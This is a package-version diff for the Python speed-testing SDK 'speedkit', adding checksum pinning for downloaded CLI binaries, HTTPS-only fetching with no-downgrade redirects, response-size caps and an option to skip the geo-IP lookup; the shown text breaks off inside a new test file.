speedkit 0.1.0__tar.gz → 0.2.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {speedkit-0.1.0/speedkit.egg-info → speedkit-0.2.0}/PKG-INFO +15 -2
- {speedkit-0.1.0 → speedkit-0.2.0}/README.md +14 -1
- {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/__meta__.py +1 -1
- {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/binaries.py +48 -23
- {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/cli.py +11 -1
- {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/client.py +9 -2
- {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/geoip.py +5 -14
- speedkit-0.2.0/speedkit/utils.py +80 -0
- {speedkit-0.1.0 → speedkit-0.2.0/speedkit.egg-info}/PKG-INFO +15 -2
- speedkit-0.2.0/tests/test_binaries.py +87 -0
- {speedkit-0.1.0 → speedkit-0.2.0}/tests/test_client.py +7 -0
- {speedkit-0.1.0 → speedkit-0.2.0}/tests/test_geoip.py +3 -19
- speedkit-0.2.0/tests/test_utils.py +66 -0
- speedkit-0.1.0/speedkit/utils.py +0 -33
- speedkit-0.1.0/tests/test_binaries.py +0 -34
- speedkit-0.1.0/tests/test_utils.py +0 -16
- {speedkit-0.1.0 → speedkit-0.2.0}/LICENSE +0 -0
- {speedkit-0.1.0 → speedkit-0.2.0}/pyproject.toml +0 -0
- {speedkit-0.1.0 → speedkit-0.2.0}/setup.cfg +0 -0
- {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/__init__.py +0 -0
- {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/exceptions.py +0 -0
- {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/providers.py +0 -0
- {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/py.typed +0 -0
- {speedkit-0.1.0 → speedkit-0.2.0}/speedkit/types.py +0 -0
- {speedkit-0.1.0 → speedkit-0.2.0}/speedkit.egg-info/SOURCES.txt +0 -0
- {speedkit-0.1.0 → speedkit-0.2.0}/speedkit.egg-info/dependency_links.txt +0 -0
- {speedkit-0.1.0 → speedkit-0.2.0}/speedkit.egg-info/entry_points.txt +0 -0
- {speedkit-0.1.0 → speedkit-0.2.0}/speedkit.egg-info/requires.txt +0 -0
- {speedkit-0.1.0 → speedkit-0.2.0}/speedkit.egg-info/top_level.txt +0 -0
- {speedkit-0.1.0 → speedkit-0.2.0}/tests/test_providers.py +0 -0
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: speedkit
|
|
3
|
-
Version: 0.
|
|
3
|
+
Version: 0.2.0
|
|
4
4
|
Summary: Python SDK for network speed testing — bandwidth, latency, and connection details in a single call.
|
|
5
5
|
Author: nessshon
|
|
6
6
|
Maintainer: nessshon
|
|
@@ -78,6 +78,7 @@ speedkit # auto: Ookla, then LibreSpeed
|
|
|
78
78
|
speedkit -p librespeed # pin one provider
|
|
79
79
|
speedkit -t 180 # time budget per provider in seconds
|
|
80
80
|
speedkit -a 1 # disable retries
|
|
81
|
+
speedkit --no-geoip # no third-party geo-IP request
|
|
81
82
|
```
|
|
82
83
|
|
|
83
84
|
`Speedkit()` needs no configuration; everything it accepts:
|
|
@@ -87,6 +88,7 @@ kit = Speedkit(
|
|
|
87
88
|
provider="auto", # "auto" | "ookla" | "librespeed" — a pinned provider never falls back
|
|
88
89
|
timeout=120, # time budget per provider in seconds, covering all attempts
|
|
89
90
|
attempts=2, # measurement attempts within the budget; 1 disables retries
|
|
91
|
+
lookup_geoip=True, # resolve client info from a geo-IP service; False makes no such request
|
|
90
92
|
cache_dir=None, # where CLI binaries are cached; None = user cache directory
|
|
91
93
|
)
|
|
92
94
|
```
|
|
@@ -128,7 +130,7 @@ kit = Speedkit(
|
|
|
128
130
|
|
|
129
131
|
## Geo-IP lookup
|
|
130
132
|
|
|
131
|
-
Client details come from the first service that answers: `ipinfo.io` → `ipwho.is
|
|
133
|
+
Client details come from the first service that answers: `ipinfo.io` → `ipwho.is`.
|
|
132
134
|
|
|
133
135
|
- The lookup takes a fraction of a second.
|
|
134
136
|
- If every service is unreachable, the measurement is still returned —
|
|
@@ -136,6 +138,11 @@ Client details come from the first service that answers: `ipinfo.io` → `ipwho.
|
|
|
136
138
|
|
|
137
139
|
> This sends your IP address to the geo-IP service that answers.
|
|
138
140
|
|
|
141
|
+
Pass `lookup_geoip=False` (or `--no-geoip`) to skip it entirely. Nothing is then sent to a third
|
|
142
|
+
party, and `client` keeps what the measuring CLI itself reported — `ip` and `isp` from
|
|
143
|
+
Ookla, plus `country` from LibreSpeed. Fields neither reports, `city` above all, stay at
|
|
144
|
+
`""`, so `client` is no longer identical across providers.
|
|
145
|
+
|
|
139
146
|
## Binaries
|
|
140
147
|
|
|
141
148
|
| Provider | Version | Platforms |
|
|
@@ -148,8 +155,14 @@ Binaries are downloaded on first use and cached per platform:
|
|
|
148
155
|
- Linux — `~/.cache/speedkit`
|
|
149
156
|
- macOS — `~/Library/Caches/speedkit`
|
|
150
157
|
|
|
158
|
+
Every archive is checked against a SHA-256 digest pinned in `speedkit/binaries.py` before
|
|
159
|
+
anything is extracted or made executable. A release asset that changed after it was pinned
|
|
160
|
+
raises `BinaryDownloadError` instead of running. All network access is HTTPS with certificate
|
|
161
|
+
verification; plain HTTP, and any redirect leaving TLS, is refused.
|
|
162
|
+
|
|
151
163
|
Set `SPEEDKIT_OOKLA_BINARY` / `SPEEDKIT_LIBRESPEED_BINARY` to a path of a preinstalled
|
|
152
164
|
binary to skip downloading entirely — useful for offline machines and locked-down networks.
|
|
165
|
+
The path is executed as given and bypasses the checksum, so it is on you to trust it.
|
|
153
166
|
|
|
154
167
|
To pre-download the binaries at image build time (Docker, CI):
|
|
155
168
|
|
|
@@ -45,6 +45,7 @@ speedkit # auto: Ookla, then LibreSpeed
|
|
|
45
45
|
speedkit -p librespeed # pin one provider
|
|
46
46
|
speedkit -t 180 # time budget per provider in seconds
|
|
47
47
|
speedkit -a 1 # disable retries
|
|
48
|
+
speedkit --no-geoip # no third-party geo-IP request
|
|
48
49
|
```
|
|
49
50
|
|
|
50
51
|
`Speedkit()` needs no configuration; everything it accepts:
|
|
@@ -54,6 +55,7 @@ kit = Speedkit(
|
|
|
54
55
|
provider="auto", # "auto" | "ookla" | "librespeed" — a pinned provider never falls back
|
|
55
56
|
timeout=120, # time budget per provider in seconds, covering all attempts
|
|
56
57
|
attempts=2, # measurement attempts within the budget; 1 disables retries
|
|
58
|
+
lookup_geoip=True, # resolve client info from a geo-IP service; False makes no such request
|
|
57
59
|
cache_dir=None, # where CLI binaries are cached; None = user cache directory
|
|
58
60
|
)
|
|
59
61
|
```
|
|
@@ -95,7 +97,7 @@ kit = Speedkit(
|
|
|
95
97
|
|
|
96
98
|
## Geo-IP lookup
|
|
97
99
|
|
|
98
|
-
Client details come from the first service that answers: `ipinfo.io` → `ipwho.is
|
|
100
|
+
Client details come from the first service that answers: `ipinfo.io` → `ipwho.is`.
|
|
99
101
|
|
|
100
102
|
- The lookup takes a fraction of a second.
|
|
101
103
|
- If every service is unreachable, the measurement is still returned —
|
|
@@ -103,6 +105,11 @@ Client details come from the first service that answers: `ipinfo.io` → `ipwho.
|
|
|
103
105
|
|
|
104
106
|
> This sends your IP address to the geo-IP service that answers.
|
|
105
107
|
|
|
108
|
+
Pass `lookup_geoip=False` (or `--no-geoip`) to skip it entirely. Nothing is then sent to a third
|
|
109
|
+
party, and `client` keeps what the measuring CLI itself reported — `ip` and `isp` from
|
|
110
|
+
Ookla, plus `country` from LibreSpeed. Fields neither reports, `city` above all, stay at
|
|
111
|
+
`""`, so `client` is no longer identical across providers.
|
|
112
|
+
|
|
106
113
|
## Binaries
|
|
107
114
|
|
|
108
115
|
| Provider | Version | Platforms |
|
|
@@ -115,8 +122,14 @@ Binaries are downloaded on first use and cached per platform:
|
|
|
115
122
|
- Linux — `~/.cache/speedkit`
|
|
116
123
|
- macOS — `~/Library/Caches/speedkit`
|
|
117
124
|
|
|
125
|
+
Every archive is checked against a SHA-256 digest pinned in `speedkit/binaries.py` before
|
|
126
|
+
anything is extracted or made executable. A release asset that changed after it was pinned
|
|
127
|
+
raises `BinaryDownloadError` instead of running. All network access is HTTPS with certificate
|
|
128
|
+
verification; plain HTTP, and any redirect leaving TLS, is refused.
|
|
129
|
+
|
|
118
130
|
Set `SPEEDKIT_OOKLA_BINARY` / `SPEEDKIT_LIBRESPEED_BINARY` to a path of a preinstalled
|
|
119
131
|
binary to skip downloading entirely — useful for offline machines and locked-down networks.
|
|
132
|
+
The path is executed as given and bypasses the checksum, so it is on you to trust it.
|
|
120
133
|
|
|
121
134
|
To pre-download the binaries at image build time (Docker, CI):
|
|
122
135
|
|
|
@@ -1,5 +1,6 @@
|
|
|
1
1
|
from __future__ import annotations
|
|
2
2
|
|
|
3
|
+
import hashlib
|
|
3
4
|
import io
|
|
4
5
|
import os
|
|
5
6
|
import platform
|
|
@@ -32,17 +33,17 @@ _LIBRESPEED_URL: t.Final[str] = (
|
|
|
32
33
|
"https://github.com/librespeed/speedtest-cli/releases/download/v{version}/librespeed-cli_{version}_{platform}.{ext}"
|
|
33
34
|
)
|
|
34
35
|
|
|
35
|
-
_OOKLA_PLATFORMS: t.Final[dict[tuple[str, str], str]] = {
|
|
36
|
-
("Linux", "x86_64"): "linux-x86_64",
|
|
37
|
-
("Linux", "aarch64"): "linux-aarch64",
|
|
38
|
-
("Darwin", "x86_64"): "macosx-universal",
|
|
39
|
-
("Darwin", "arm64"): "macosx-universal",
|
|
36
|
+
_OOKLA_PLATFORMS: t.Final[dict[tuple[str, str], tuple[str, str]]] = {
|
|
37
|
+
("Linux", "x86_64"): ("linux-x86_64", "5690596c54ff9bed63fa3732f818a05dbc2db19ad36ed68f21ca5f64d5cfeeb7"),
|
|
38
|
+
("Linux", "aarch64"): ("linux-aarch64", "3953d231da3783e2bf8904b6dd72767c5c6e533e163d3742fd0437affa431bd3"),
|
|
39
|
+
("Darwin", "x86_64"): ("macosx-universal", "c9f8192149ebc88f8699998cecab1ce144144045907ece6f53cf50877f4de66f"),
|
|
40
|
+
("Darwin", "arm64"): ("macosx-universal", "c9f8192149ebc88f8699998cecab1ce144144045907ece6f53cf50877f4de66f"),
|
|
40
41
|
}
|
|
41
|
-
_LIBRESPEED_PLATFORMS: t.Final[dict[tuple[str, str], str]] = {
|
|
42
|
-
("Linux", "x86_64"): "linux_amd64",
|
|
43
|
-
("Linux", "aarch64"): "linux_arm64",
|
|
44
|
-
("Darwin", "x86_64"): "darwin_amd64",
|
|
45
|
-
("Darwin", "arm64"): "darwin_arm64",
|
|
42
|
+
_LIBRESPEED_PLATFORMS: t.Final[dict[tuple[str, str], tuple[str, str]]] = {
|
|
43
|
+
("Linux", "x86_64"): ("linux_amd64", "33f2278a6ae16e83dc80f38a16aa8689b0b315530ce30ccb6de7968a2bf7527a"),
|
|
44
|
+
("Linux", "aarch64"): ("linux_arm64", "3f59e01ea03626168a0ff3d6f3371a38c054267ee500a5f9a644d3fe28ceed69"),
|
|
45
|
+
("Darwin", "x86_64"): ("darwin_amd64", "35195cf197b17d3e2a0b06aff65b6e48aaffd4c1a10ca3b1d01d8ee3a14d0dea"),
|
|
46
|
+
("Darwin", "arm64"): ("darwin_arm64", "aaae750be9b51045417f42147f86228e871af3924b6c6ae95323d7ebc82a0b88"),
|
|
46
47
|
}
|
|
47
48
|
|
|
48
49
|
|
|
@@ -59,9 +60,9 @@ def ookla_binary(cache_dir: Path | None = None) -> Path:
|
|
|
59
60
|
override = os.environ.get("SPEEDKIT_OOKLA_BINARY")
|
|
60
61
|
if override:
|
|
61
62
|
return Path(override)
|
|
62
|
-
key =
|
|
63
|
+
key, digest = _asset(_OOKLA_PLATFORMS, brand="Ookla Speedtest CLI")
|
|
63
64
|
url = _OOKLA_URL.format(version=OOKLA_VERSION, platform=key, ext="tgz")
|
|
64
|
-
return _ensure(url, member="speedtest", subdir=f"ookla-{OOKLA_VERSION}", cache_dir=cache_dir)
|
|
65
|
+
return _ensure(url, digest=digest, member="speedtest", subdir=f"ookla-{OOKLA_VERSION}", cache_dir=cache_dir)
|
|
65
66
|
|
|
66
67
|
|
|
67
68
|
def librespeed_binary(cache_dir: Path | None = None) -> Path:
|
|
@@ -77,30 +78,39 @@ def librespeed_binary(cache_dir: Path | None = None) -> Path:
|
|
|
77
78
|
override = os.environ.get("SPEEDKIT_LIBRESPEED_BINARY")
|
|
78
79
|
if override:
|
|
79
80
|
return Path(override)
|
|
80
|
-
key =
|
|
81
|
+
key, digest = _asset(_LIBRESPEED_PLATFORMS, brand="librespeed-cli")
|
|
81
82
|
url = _LIBRESPEED_URL.format(version=LIBRESPEED_VERSION, platform=key, ext="tar.gz")
|
|
82
|
-
return _ensure(
|
|
83
|
+
return _ensure(
|
|
84
|
+
url,
|
|
85
|
+
digest=digest,
|
|
86
|
+
member="librespeed-cli",
|
|
87
|
+
subdir=f"librespeed-{LIBRESPEED_VERSION}",
|
|
88
|
+
cache_dir=cache_dir,
|
|
89
|
+
)
|
|
83
90
|
|
|
84
91
|
|
|
85
|
-
def
|
|
86
|
-
"""Map the current OS and architecture to a release asset key."""
|
|
92
|
+
def _asset(platforms: dict[tuple[str, str], tuple[str, str]], *, brand: str) -> tuple[str, str]:
|
|
93
|
+
"""Map the current OS and architecture to a release asset key and its pinned digest."""
|
|
87
94
|
system, machine = platform.system(), platform.machine()
|
|
88
|
-
|
|
89
|
-
if
|
|
95
|
+
asset = platforms.get((system, machine))
|
|
96
|
+
if asset is None:
|
|
90
97
|
raise UnsupportedPlatformError(
|
|
91
98
|
f"no prebuilt {brand} binary for {system}/{machine}",
|
|
92
99
|
hint="install it manually and set the SPEEDKIT_OOKLA_BINARY / SPEEDKIT_LIBRESPEED_BINARY variable",
|
|
93
100
|
)
|
|
94
|
-
return
|
|
101
|
+
return asset
|
|
95
102
|
|
|
96
103
|
|
|
97
|
-
def _ensure(url: str, *, member: str, subdir: str, cache_dir: Path | None) -> Path:
|
|
104
|
+
def _ensure(url: str, *, digest: str, member: str, subdir: str, cache_dir: Path | None) -> Path:
|
|
98
105
|
"""Return the cached binary path, downloading and extracting it if missing."""
|
|
99
|
-
|
|
106
|
+
# Path carries the pin, so a binary verified against a different digest is never reused.
|
|
107
|
+
target = (cache_dir or _user_cache_dir()) / f"{subdir}-{digest[:12]}" / member
|
|
100
108
|
if target.exists():
|
|
101
109
|
return target
|
|
102
110
|
target.parent.mkdir(parents=True, exist_ok=True)
|
|
103
|
-
|
|
111
|
+
archive = _download(url)
|
|
112
|
+
_verify(archive, url=url, expected=digest)
|
|
113
|
+
data = _extract(archive, url=url, member=member)
|
|
104
114
|
# PID-unique temp name: concurrent downloads must not write into one file.
|
|
105
115
|
temporary = target.with_name(f"{member}.{os.getpid()}.tmp")
|
|
106
116
|
temporary.write_bytes(data)
|
|
@@ -121,8 +131,23 @@ def _download(url: str) -> bytes:
|
|
|
121
131
|
) from exc
|
|
122
132
|
|
|
123
133
|
|
|
134
|
+
def _verify(data: bytes, *, url: str, expected: str) -> None:
|
|
135
|
+
"""Check a downloaded archive against the digest pinned for this platform."""
|
|
136
|
+
digest = hashlib.sha256(data).hexdigest()
|
|
137
|
+
if digest != expected:
|
|
138
|
+
raise BinaryDownloadError(
|
|
139
|
+
f"refusing {url}: expected sha256 {expected}, got {digest}",
|
|
140
|
+
hint="the release archive no longer matches the digest speedkit pinned; upgrade speedkit "
|
|
141
|
+
"or point SPEEDKIT_OOKLA_BINARY / SPEEDKIT_LIBRESPEED_BINARY at a binary you trust",
|
|
142
|
+
)
|
|
143
|
+
|
|
144
|
+
|
|
124
145
|
def _extract(data: bytes, *, url: str, member: str) -> bytes:
|
|
125
|
-
"""Extract a single member from a ``.tgz``/``.tar.gz`` archive.
|
|
146
|
+
"""Extract a single member from a ``.tgz``/``.tar.gz`` archive.
|
|
147
|
+
|
|
148
|
+
Reads the member whole without a size cap, which is safe only because the archive
|
|
149
|
+
is checksum-verified first: a decompression bomb cannot match a pinned digest.
|
|
150
|
+
"""
|
|
126
151
|
try:
|
|
127
152
|
with tarfile.open(fileobj=io.BytesIO(data), mode="r:gz") as bundle:
|
|
128
153
|
extracted = bundle.extractfile(member)
|
|
@@ -38,9 +38,19 @@ def main() -> None:
|
|
|
38
38
|
default=DEFAULT_ATTEMPTS,
|
|
39
39
|
help="maximum measurement attempts per provider (default: %(default)s)",
|
|
40
40
|
)
|
|
41
|
+
parser.add_argument(
|
|
42
|
+
"--no-geoip",
|
|
43
|
+
action="store_true",
|
|
44
|
+
help="skip the geo-IP lookup; client info then comes from the measuring CLI",
|
|
45
|
+
)
|
|
41
46
|
args = parser.parse_args()
|
|
42
47
|
try:
|
|
43
|
-
kit = Speedkit(
|
|
48
|
+
kit = Speedkit(
|
|
49
|
+
args.provider,
|
|
50
|
+
timeout=args.timeout,
|
|
51
|
+
attempts=args.attempts,
|
|
52
|
+
lookup_geoip=not args.no_geoip,
|
|
53
|
+
)
|
|
44
54
|
except ValueError as exc:
|
|
45
55
|
parser.error(str(exc))
|
|
46
56
|
try:
|
|
@@ -33,6 +33,7 @@ class Speedkit:
|
|
|
33
33
|
*,
|
|
34
34
|
timeout: float = DEFAULT_TIMEOUT,
|
|
35
35
|
attempts: int = DEFAULT_ATTEMPTS,
|
|
36
|
+
lookup_geoip: bool = True,
|
|
36
37
|
cache_dir: Path | None = None,
|
|
37
38
|
) -> None:
|
|
38
39
|
"""Initialize the client.
|
|
@@ -43,6 +44,10 @@ class Speedkit:
|
|
|
43
44
|
all measurement attempts.
|
|
44
45
|
:param attempts: Maximum measurement attempts per provider within the budget;
|
|
45
46
|
``1`` disables retries.
|
|
47
|
+
:param lookup_geoip: Resolve client info from a geo-IP service so it reads the
|
|
48
|
+
same whichever provider measured. ``False`` makes no third-party request and
|
|
49
|
+
keeps whatever the measuring CLI reported, which varies by provider and
|
|
50
|
+
leaves the fields it omits at their neutral defaults.
|
|
46
51
|
:param cache_dir: Directory for cached CLI binaries; defaults to the user cache directory.
|
|
47
52
|
:raises ValueError: If ``provider`` is unknown or ``attempts`` is less than 1.
|
|
48
53
|
"""
|
|
@@ -53,18 +58,20 @@ class Speedkit:
|
|
|
53
58
|
self.provider = provider
|
|
54
59
|
self.timeout = timeout
|
|
55
60
|
self.attempts = attempts
|
|
61
|
+
self.lookup_geoip = lookup_geoip
|
|
56
62
|
self.cache_dir = cache_dir
|
|
57
63
|
|
|
58
64
|
def run(self) -> SpeedtestResult:
|
|
59
65
|
"""Run the speed test.
|
|
60
66
|
|
|
61
67
|
:return: Measurement result, with client info from a geo-IP service when
|
|
62
|
-
one is reachable and from the measuring
|
|
68
|
+
``lookup_geoip`` is enabled and one is reachable, and from the measuring
|
|
69
|
+
CLI otherwise.
|
|
63
70
|
:raises SpeedkitError: If the measurement fails — in ``"auto"`` mode,
|
|
64
71
|
after both providers have failed.
|
|
65
72
|
"""
|
|
66
73
|
result = self._measure()
|
|
67
|
-
client = lookup()
|
|
74
|
+
client = lookup() if self.lookup_geoip else None
|
|
68
75
|
return replace(result, client=client) if client else result
|
|
69
76
|
|
|
70
77
|
def _measure(self) -> SpeedtestResult:
|
|
@@ -12,6 +12,9 @@ __all__ = ["lookup"]
|
|
|
12
12
|
GEOIP_TIMEOUT: t.Final[float] = 5.0
|
|
13
13
|
"""Timeout in seconds for a single geo-IP service request."""
|
|
14
14
|
|
|
15
|
+
GEOIP_MAX_BYTES: t.Final[int] = 64 * 1024
|
|
16
|
+
"""Cap on a geo-IP response body; a real answer is well under a kilobyte."""
|
|
17
|
+
|
|
15
18
|
# ipinfo.io reports the ISP as "AS64496 Example ISP"; the other services omit the prefix.
|
|
16
19
|
_AS_PREFIX = re.compile(r"^AS\d+\s+")
|
|
17
20
|
|
|
@@ -27,9 +30,9 @@ def lookup(timeout: float = GEOIP_TIMEOUT) -> Client | None:
|
|
|
27
30
|
"""
|
|
28
31
|
for url, parse in _SERVICES:
|
|
29
32
|
try:
|
|
30
|
-
data = json.loads(fetch(url, timeout=timeout))
|
|
33
|
+
data = json.loads(fetch(url, timeout=timeout, limit=GEOIP_MAX_BYTES))
|
|
31
34
|
client = parse(data) if isinstance(data, dict) else None
|
|
32
|
-
except (AttributeError, OSError, TypeError, ValueError):
|
|
35
|
+
except (AttributeError, OSError, RecursionError, TypeError, ValueError):
|
|
33
36
|
continue
|
|
34
37
|
# Services echo the IP back even in error payloads, so require the ISP too.
|
|
35
38
|
if client and client.ip and client.isp:
|
|
@@ -57,19 +60,7 @@ def _from_ipwho(data: dict[str, t.Any]) -> Client:
|
|
|
57
60
|
)
|
|
58
61
|
|
|
59
62
|
|
|
60
|
-
def _from_ipapi(data: dict[str, t.Any]) -> Client:
|
|
61
|
-
"""Map an ip-api.com response."""
|
|
62
|
-
return Client(
|
|
63
|
-
ip=data.get("query", ""),
|
|
64
|
-
isp=data.get("isp", ""),
|
|
65
|
-
country=data.get("countryCode", ""),
|
|
66
|
-
city=data.get("city", ""),
|
|
67
|
-
)
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
# Ordered by preference: HTTPS without a key first, plain-HTTP ip-api.com last.
|
|
71
63
|
_SERVICES: t.Final[tuple[tuple[str, t.Callable[[dict[str, t.Any]], Client]], ...]] = (
|
|
72
64
|
("https://ipinfo.io/json", _from_ipinfo),
|
|
73
65
|
("https://ipwho.is", _from_ipwho),
|
|
74
|
-
("http://ip-api.com/json", _from_ipapi),
|
|
75
66
|
)
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
from __future__ import annotations
|
|
2
|
+
|
|
3
|
+
import functools
|
|
4
|
+
import http.client
|
|
5
|
+
import ssl
|
|
6
|
+
import typing as t
|
|
7
|
+
import urllib.error
|
|
8
|
+
import urllib.parse
|
|
9
|
+
import urllib.request
|
|
10
|
+
|
|
11
|
+
__all__ = ["fetch"]
|
|
12
|
+
|
|
13
|
+
MAX_RESPONSE_BYTES: t.Final[int] = 32 * 1024 * 1024
|
|
14
|
+
"""Default cap on a response body; the largest CLI release archive is under 4 MiB."""
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
def fetch(url: str, timeout: float, limit: int = MAX_RESPONSE_BYTES) -> bytes:
|
|
18
|
+
"""Fetch a URL over verified TLS and return the raw response body.
|
|
19
|
+
|
|
20
|
+
Plain HTTP is refused outright, as is a redirect that would leave TLS, and the
|
|
21
|
+
body is capped so an endpoint cannot exhaust memory by streaming without end.
|
|
22
|
+
|
|
23
|
+
:param url: URL to fetch; must be ``https``.
|
|
24
|
+
:param timeout: Timeout in seconds.
|
|
25
|
+
:param limit: Maximum number of body bytes to accept.
|
|
26
|
+
:return: Raw response body.
|
|
27
|
+
:raises OSError: If the URL is not ``https``, the request fails, or the body exceeds ``limit``.
|
|
28
|
+
"""
|
|
29
|
+
if urllib.parse.urlsplit(url).scheme != "https":
|
|
30
|
+
raise OSError(f"refusing to fetch {url}: only https is allowed")
|
|
31
|
+
try:
|
|
32
|
+
with _opener().open(url, timeout=timeout) as response:
|
|
33
|
+
# One byte past the cap distinguishes "at the limit" from "over it".
|
|
34
|
+
data: bytes = response.read(limit + 1)
|
|
35
|
+
except http.client.HTTPException as exc:
|
|
36
|
+
# Truncated bodies and bad status lines are not OSError; normalize for callers.
|
|
37
|
+
raise OSError(str(exc)) from exc
|
|
38
|
+
if len(data) > limit:
|
|
39
|
+
raise OSError(f"response from {url} exceeds {limit} bytes")
|
|
40
|
+
return data
|
|
41
|
+
|
|
42
|
+
|
|
43
|
+
class _NoDowngradeRedirects(urllib.request.HTTPRedirectHandler):
|
|
44
|
+
"""Redirect handler that refuses to drop from ``https`` to plain ``http``.
|
|
45
|
+
|
|
46
|
+
urllib follows a redirect into any of ``http``, ``https`` and ``ftp``, so without
|
|
47
|
+
this an origin could hand back a cleartext URL and the body would be read from it.
|
|
48
|
+
"""
|
|
49
|
+
|
|
50
|
+
def redirect_request(
|
|
51
|
+
self,
|
|
52
|
+
req: urllib.request.Request,
|
|
53
|
+
fp: t.IO[bytes],
|
|
54
|
+
code: int,
|
|
55
|
+
msg: str,
|
|
56
|
+
headers: http.client.HTTPMessage,
|
|
57
|
+
newurl: str,
|
|
58
|
+
) -> urllib.request.Request | None:
|
|
59
|
+
"""Reject a redirect that leaves TLS, otherwise defer to the default policy."""
|
|
60
|
+
if urllib.parse.urlsplit(newurl).scheme != "https":
|
|
61
|
+
raise urllib.error.URLError(f"refusing redirect from {req.full_url} to insecure {newurl}")
|
|
62
|
+
return super().redirect_request(req, fp, code, msg, headers, newurl)
|
|
63
|
+
|
|
64
|
+
|
|
65
|
+
@functools.lru_cache(maxsize=1)
|
|
66
|
+
def _opener() -> urllib.request.OpenerDirector:
|
|
67
|
+
"""Return the shared opener; built once so the CA bundle is loaded once."""
|
|
68
|
+
return urllib.request.build_opener(
|
|
69
|
+
urllib.request.HTTPSHandler(context=_ssl_context()),
|
|
70
|
+
_NoDowngradeRedirects(),
|
|
71
|
+
)
|
|
72
|
+
|
|
73
|
+
|
|
74
|
+
def _ssl_context() -> ssl.SSLContext:
|
|
75
|
+
"""Return an SSL context, preferring certifi's CA bundle when installed."""
|
|
76
|
+
try:
|
|
77
|
+
import certifi
|
|
78
|
+
except ImportError:
|
|
79
|
+
return ssl.create_default_context()
|
|
80
|
+
return ssl.create_default_context(cafile=certifi.where())
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: speedkit
|
|
3
|
-
Version: 0.
|
|
3
|
+
Version: 0.2.0
|
|
4
4
|
Summary: Python SDK for network speed testing — bandwidth, latency, and connection details in a single call.
|
|
5
5
|
Author: nessshon
|
|
6
6
|
Maintainer: nessshon
|
|
@@ -78,6 +78,7 @@ speedkit # auto: Ookla, then LibreSpeed
|
|
|
78
78
|
speedkit -p librespeed # pin one provider
|
|
79
79
|
speedkit -t 180 # time budget per provider in seconds
|
|
80
80
|
speedkit -a 1 # disable retries
|
|
81
|
+
speedkit --no-geoip # no third-party geo-IP request
|
|
81
82
|
```
|
|
82
83
|
|
|
83
84
|
`Speedkit()` needs no configuration; everything it accepts:
|
|
@@ -87,6 +88,7 @@ kit = Speedkit(
|
|
|
87
88
|
provider="auto", # "auto" | "ookla" | "librespeed" — a pinned provider never falls back
|
|
88
89
|
timeout=120, # time budget per provider in seconds, covering all attempts
|
|
89
90
|
attempts=2, # measurement attempts within the budget; 1 disables retries
|
|
91
|
+
lookup_geoip=True, # resolve client info from a geo-IP service; False makes no such request
|
|
90
92
|
cache_dir=None, # where CLI binaries are cached; None = user cache directory
|
|
91
93
|
)
|
|
92
94
|
```
|
|
@@ -128,7 +130,7 @@ kit = Speedkit(
|
|
|
128
130
|
|
|
129
131
|
## Geo-IP lookup
|
|
130
132
|
|
|
131
|
-
Client details come from the first service that answers: `ipinfo.io` → `ipwho.is
|
|
133
|
+
Client details come from the first service that answers: `ipinfo.io` → `ipwho.is`.
|
|
132
134
|
|
|
133
135
|
- The lookup takes a fraction of a second.
|
|
134
136
|
- If every service is unreachable, the measurement is still returned —
|
|
@@ -136,6 +138,11 @@ Client details come from the first service that answers: `ipinfo.io` → `ipwho.
|
|
|
136
138
|
|
|
137
139
|
> This sends your IP address to the geo-IP service that answers.
|
|
138
140
|
|
|
141
|
+
Pass `lookup_geoip=False` (or `--no-geoip`) to skip it entirely. Nothing is then sent to a third
|
|
142
|
+
party, and `client` keeps what the measuring CLI itself reported — `ip` and `isp` from
|
|
143
|
+
Ookla, plus `country` from LibreSpeed. Fields neither reports, `city` above all, stay at
|
|
144
|
+
`""`, so `client` is no longer identical across providers.
|
|
145
|
+
|
|
139
146
|
## Binaries
|
|
140
147
|
|
|
141
148
|
| Provider | Version | Platforms |
|
|
@@ -148,8 +155,14 @@ Binaries are downloaded on first use and cached per platform:
|
|
|
148
155
|
- Linux — `~/.cache/speedkit`
|
|
149
156
|
- macOS — `~/Library/Caches/speedkit`
|
|
150
157
|
|
|
158
|
+
Every archive is checked against a SHA-256 digest pinned in `speedkit/binaries.py` before
|
|
159
|
+
anything is extracted or made executable. A release asset that changed after it was pinned
|
|
160
|
+
raises `BinaryDownloadError` instead of running. All network access is HTTPS with certificate
|
|
161
|
+
verification; plain HTTP, and any redirect leaving TLS, is refused.
|
|
162
|
+
|
|
151
163
|
Set `SPEEDKIT_OOKLA_BINARY` / `SPEEDKIT_LIBRESPEED_BINARY` to a path of a preinstalled
|
|
152
164
|
binary to skip downloading entirely — useful for offline machines and locked-down networks.
|
|
165
|
+
The path is executed as given and bypasses the checksum, so it is on you to trust it.
|
|
153
166
|
|
|
154
167
|
To pre-download the binaries at image build time (Docker, CI):
|
|
155
168
|
|
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
import hashlib
|
|
2
|
+
import io
|
|
3
|
+
import os
|
|
4
|
+
import tarfile
|
|
5
|
+
import tempfile
|
|
6
|
+
import unittest
|
|
7
|
+
from pathlib import Path
|
|
8
|
+
from unittest import mock
|
|
9
|
+
|
|
10
|
+
from speedkit import binaries
|
|
11
|
+
from speedkit.exceptions import BinaryDownloadError, UnsupportedPlatformError
|
|
12
|
+
|
|
13
|
+
BINARY = b"#!/bin/sh\necho measured\n"
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
def archive(member="speedtest", payload=BINARY):
|
|
17
|
+
"""Return a ``.tar.gz`` holding a single member."""
|
|
18
|
+
buffer = io.BytesIO()
|
|
19
|
+
with tarfile.open(fileobj=buffer, mode="w:gz") as bundle:
|
|
20
|
+
info = tarfile.TarInfo(member)
